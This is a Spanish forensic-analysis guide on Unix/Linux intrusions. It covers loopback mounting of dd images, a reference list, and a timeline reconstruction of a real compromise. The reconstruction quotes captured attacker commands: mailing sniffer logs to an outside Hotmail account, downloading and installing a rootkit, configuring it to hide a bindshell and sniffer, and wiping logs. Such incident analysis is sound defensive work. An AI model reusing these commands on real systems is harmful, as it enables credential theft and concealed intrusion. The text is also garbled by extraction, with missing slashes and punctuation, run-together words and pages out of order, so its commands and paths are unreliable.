Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 32: Análisis Forense de Sistemas GNU/Linux, Unix

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

